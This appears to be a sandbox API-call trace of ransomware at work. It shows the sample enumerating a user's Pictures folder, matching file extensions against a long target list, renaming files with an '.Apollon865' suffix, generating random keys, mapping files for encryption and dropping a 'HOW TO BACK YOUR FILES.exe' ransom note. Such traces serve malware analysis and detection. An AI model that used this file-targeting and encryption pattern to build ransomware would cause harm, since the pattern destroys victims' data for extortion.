	[0087.446] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0087.446] lstrlenW (lpString="sdb") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0087.446] lstrlenW (lpString="sdc") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0087.446] lstrlenW (lpString="sdf") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0087.446] lstrlenW (lpString="sis") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0087.446] lstrlenW (lpString="spq") returned 3
	[0087.446] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0087.446] lstrlenW (lpString="te") returned 2
	[0087.446] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0087.447] lstrlenW (lpString="teacher") returned 7
	[0087.447] lstrcmpiW (lpString1="ips.png", lpString2="teacher") returned -1
	[0087.447] lstrlenW (lpString="tmd") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0087.447] lstrlenW (lpString="tps") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0087.447] lstrlenW (lpString="trc") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.447] lstrlenW (lpString="trc") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0087.447] lstrlenW (lpString="trm") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0087.447] lstrlenW (lpString="udb") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0087.447] lstrlenW (lpString="udl") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0087.447] lstrlenW (lpString="usr") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0087.447] lstrlenW (lpString="v12") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0087.447] lstrlenW (lpString="vis") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0087.447] lstrlenW (lpString="vpd") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0087.447] lstrlenW (lpString="vvv") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0087.447] lstrlenW (lpString="wdb") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0087.447] lstrlenW (lpString="wmdb") returned 4
	[0087.447] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0087.447] lstrlenW (lpString="wrk") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0087.447] lstrlenW (lpString="xdb") returned 3
	[0087.447] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0087.447] lstrlenW (lpString="xld") returned 3
	[0087.448] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0087.448] lstrlenW (lpString="xmlff") returned 5
	[0087.448] lstrcmpiW (lpString1="s.png", lpString2="xmlff") returned -1
	[0087.448] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\zlfNUhEGfxu7sXLips.png.Apollon865") returned 87
	[0087.448] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\zlfNUhEGfxu7sXLips.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\zlfnuhegfxu7sxlips.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\zlfNUhEGfxu7sXLips.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\zlfnuhegfxu7sxlips.png.apollon865"), dwFlags=0x1) returned 1
	[0087.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\zlfNUhEGfxu7sXLips.png.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\zlfnuhegfxu7sxlips.png.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.449] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=18633) returned 1
	[0087.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.450] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.450] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.450] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.450] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bd0, lpName=0x0) returned 0x15c
	[0087.451] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4bd0) returned 0x100000
	[0087.451] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.452] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.452] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.453] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.453] CloseHandle (hObject=0x15c) returned 1
	[0087.453] CloseHandle (hObject=0x9c) returned 1
	[0087.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.454] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c1b0b0, ftCreationTime.dwHighDateTime=0x1d4cbac, ftLastAccessTime.dwLowDateTime=0xf40a9cf0, ftLastAccessTime.dwHighDateTime=0x1d4d53b, ftLastWriteTime.dwLowDateTime=0xf40a9cf0, ftLastWriteTime.dwHighDateTime=0x1d4d53b, nFileSizeHigh=0x0, nFileSizeLow=0x48c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zlfNUhEGfxu7sXLips.png", cAlternateFileName="ZLFNUH~1.PNG")) returned 0
	[0087.454] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.455] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0087.455] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV"
	[0087.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0087.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0087.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned 48
	[0087.455] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV"
	[0087.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.455] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.456] GetLastError () returned 0x0
	[0087.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.456] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.456] CloseHandle (hObject=0x10c) returned 1
	[0087.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.456] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e2e040, ftCreationTime.dwHighDateTime=0x1d4d007, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.456] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.456] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.456] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.456] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e2e040, ftCreationTime.dwHighDateTime=0x1d4d007, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.456] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.456] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.456] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.456] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.456] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2c780, ftCreationTime.dwHighDateTime=0x1d4c9a9, ftLastAccessTime.dwLowDateTime=0xf65f4e20, ftLastAccessTime.dwHighDateTime=0x1d4ccf2, ftLastWriteTime.dwLowDateTime=0xf65f4e20, ftLastWriteTime.dwHighDateTime=0x1d4ccf2, nFileSizeHigh=0x0, nFileSizeLow=0xba7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="elhfq4Hany-ai6Ffzs3F.png", cAlternateFileName="ELHFQ4~1.PNG")) returned 1
	[0087.456] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="Apollon865.txt.exe") returned 1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".") returned 1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="..") returned 1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="windows") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="bootmgr") returned 1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="temp") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="pagefile.sys") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="boot") returned 1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="ids.txt") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="ntuser.dat") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="perflogs") returned -1
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2="MSBuild") returned -1
	[0087.457] lstrlenW (lpString="elhfq4Hany-ai6Ffzs3F.png") returned 24
	[0087.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\*") returned 50
	[0087.457] lstrcpyW (in: lpString1=0x119e66a, lpString2="elhfq4Hany-ai6Ffzs3F.png" | out: lpString1="elhfq4Hany-ai6Ffzs3F.png") returned="elhfq4Hany-ai6Ffzs3F.png"
	[0087.457] lstrlenW (lpString="elhfq4Hany-ai6Ffzs3F.png") returned 24
	[0087.457] lstrlenW (lpString="Apollon865") returned 10
	[0087.457] lstrcmpiW (lpString1="Ffzs3F.png", lpString2="Apollon865") returned 1
	[0087.457] lstrlenW (lpString=".dll") returned 4
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".dll") returned 1
	[0087.457] lstrlenW (lpString=".lnk") returned 4
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".lnk") returned 1
	[0087.457] lstrlenW (lpString=".ini") returned 4
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".ini") returned 1
	[0087.457] lstrlenW (lpString=".sys") returned 4
	[0087.457] lstrcmpiW (lpString1="elhfq4Hany-ai6Ffzs3F.png", lpString2=".sys") returned 1
	[0087.457] lstrlenW (lpString="elhfq4Hany-ai6Ffzs3F.png") returned 24
	[0087.457] lstrlenW (lpString="bak") returned 3
	[0087.457] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0087.457] lstrlenW (lpString="ba_") returned 3
	[0087.457] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0087.457] lstrlenW (lpString="dbb") returned 3
	[0087.457] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0087.458] lstrlenW (lpString="vmdk") returned 4
	[0087.458] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0087.458] lstrlenW (lpString="rar") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0087.458] lstrlenW (lpString="zip") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0087.458] lstrlenW (lpString="tgz") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0087.458] lstrlenW (lpString="vbox") returned 4
	[0087.458] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0087.458] lstrlenW (lpString="vdi") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0087.458] lstrlenW (lpString="vhd") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0087.458] lstrlenW (lpString="vhdx") returned 4
	[0087.458] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0087.458] lstrlenW (lpString="avhd") returned 4
	[0087.458] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0087.458] lstrlenW (lpString="db") returned 2
	[0087.458] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0087.458] lstrlenW (lpString="db2") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0087.458] lstrlenW (lpString="db3") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0087.458] lstrlenW (lpString="dbf") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0087.458] lstrlenW (lpString="mdf") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0087.458] lstrlenW (lpString="mdb") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0087.458] lstrlenW (lpString="sql") returned 3
	[0087.458] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0087.458] lstrlenW (lpString="sqlite") returned 6
	[0087.458] lstrcmpiW (lpString1="3F.png", lpString2="sqlite") returned -1
	[0087.459] lstrlenW (lpString="sqlite3") returned 7
	[0087.459] lstrcmpiW (lpString1="s3F.png", lpString2="sqlite3") returned -1
	[0087.459] lstrlenW (lpString="sqlitedb") returned 8
	[0087.459] lstrcmpiW (lpString1="zs3F.png", lpString2="sqlitedb") returned 1
	[0087.459] lstrlenW (lpString="xml") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0087.459] lstrlenW (lpString="$er") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0087.459] lstrlenW (lpString="4dd") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0087.459] lstrlenW (lpString="4dl") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0087.459] lstrlenW (lpString="^^^") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0087.459] lstrlenW (lpString="abs") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0087.459] lstrlenW (lpString="abx") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0087.459] lstrlenW (lpString="accdb") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accdb") returned 1
	[0087.459] lstrlenW (lpString="accdc") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accdc") returned 1
	[0087.459] lstrlenW (lpString="accde") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accde") returned 1
	[0087.459] lstrlenW (lpString="accdr") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accdr") returned 1
	[0087.459] lstrlenW (lpString="accdt") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accdt") returned 1
	[0087.459] lstrlenW (lpString="accdw") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accdw") returned 1
	[0087.459] lstrlenW (lpString="accft") returned 5
	[0087.459] lstrcmpiW (lpString1="F.png", lpString2="accft") returned 1
	[0087.459] lstrlenW (lpString="adb") returned 3
	[0087.459] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.459] lstrlenW (lpString="adb") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0087.460] lstrlenW (lpString="ade") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0087.460] lstrlenW (lpString="adf") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0087.460] lstrlenW (lpString="adn") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0087.460] lstrlenW (lpString="adp") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0087.460] lstrlenW (lpString="alf") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0087.460] lstrlenW (lpString="ask") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0087.460] lstrlenW (lpString="btr") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0087.460] lstrlenW (lpString="cat") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0087.460] lstrlenW (lpString="cdb") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0087.460] lstrlenW (lpString="ckp") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0087.460] lstrlenW (lpString="cma") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0087.460] lstrlenW (lpString="cpd") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0087.460] lstrlenW (lpString="dacpac") returned 6
	[0087.460] lstrcmpiW (lpString1="3F.png", lpString2="dacpac") returned -1
	[0087.460] lstrlenW (lpString="dad") returned 3
	[0087.460] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0087.460] lstrlenW (lpString="dadiagrams") returned 10
	[0087.460] lstrcmpiW (lpString1="Ffzs3F.png", lpString2="dadiagrams") returned 1
	[0087.460] lstrlenW (lpString="daschema") returned 8
	[0087.460] lstrcmpiW (lpString1="zs3F.png", lpString2="daschema") returned 1
	[0087.460] lstrlenW (lpString="db-journal") returned 10
	[0087.461] lstrcmpiW (lpString1="Ffzs3F.png", lpString2="db-journal") returned 1
	[0087.461] lstrlenW (lpString="db-shm") returned 6
	[0087.461] lstrcmpiW (lpString1="3F.png", lpString2="db-shm") returned -1
	[0087.461] lstrlenW (lpString="db-wal") returned 6
	[0087.461] lstrcmpiW (lpString1="3F.png", lpString2="db-wal") returned -1
	[0087.461] lstrlenW (lpString="dbc") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0087.461] lstrlenW (lpString="dbs") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0087.461] lstrlenW (lpString="dbt") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0087.461] lstrlenW (lpString="dbv") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0087.461] lstrlenW (lpString="dbx") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0087.461] lstrlenW (lpString="dcb") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0087.461] lstrlenW (lpString="dct") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0087.461] lstrlenW (lpString="dcx") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0087.461] lstrlenW (lpString="ddl") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0087.461] lstrlenW (lpString="dlis") returned 4
	[0087.461] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0087.461] lstrlenW (lpString="dp1") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0087.461] lstrlenW (lpString="dqy") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0087.461] lstrlenW (lpString="dsk") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0087.461] lstrlenW (lpString="dsn") returned 3
	[0087.461] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0087.461] lstrlenW (lpString="dtsx") returned 4
	[0087.462] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0087.462] lstrlenW (lpString="dxl") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0087.462] lstrlenW (lpString="eco") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0087.462] lstrlenW (lpString="ecx") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0087.462] lstrlenW (lpString="edb") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0087.462] lstrlenW (lpString="epim") returned 4
	[0087.462] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0087.462] lstrlenW (lpString="fcd") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0087.462] lstrlenW (lpString="fdb") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0087.462] lstrlenW (lpString="fic") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0087.462] lstrlenW (lpString="flexolibrary") returned 12
	[0087.462] lstrcmpiW (lpString1="i6Ffzs3F.png", lpString2="flexolibrary") returned 1
	[0087.462] lstrlenW (lpString="fm5") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0087.462] lstrlenW (lpString="fmp") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0087.462] lstrlenW (lpString="fmp12") returned 5
	[0087.462] lstrcmpiW (lpString1="F.png", lpString2="fmp12") returned -1
	[0087.462] lstrlenW (lpString="fmpsl") returned 5
	[0087.462] lstrcmpiW (lpString1="F.png", lpString2="fmpsl") returned -1
	[0087.462] lstrlenW (lpString="fol") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0087.462] lstrlenW (lpString="fp3") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0087.462] lstrlenW (lpString="fp4") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0087.462] lstrlenW (lpString="fp5") returned 3
	[0087.462] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0087.463] lstrlenW (lpString="fp7") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0087.463] lstrlenW (lpString="fpt") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0087.463] lstrlenW (lpString="frm") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0087.463] lstrlenW (lpString="gdb") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.463] lstrlenW (lpString="gdb") returned 3
	[0087.463] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0087.463] lstrlenW (lpString="grdb") returned 4
	[0087.463] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0087.463] lstrlenW (lpString="gwi") returned 3
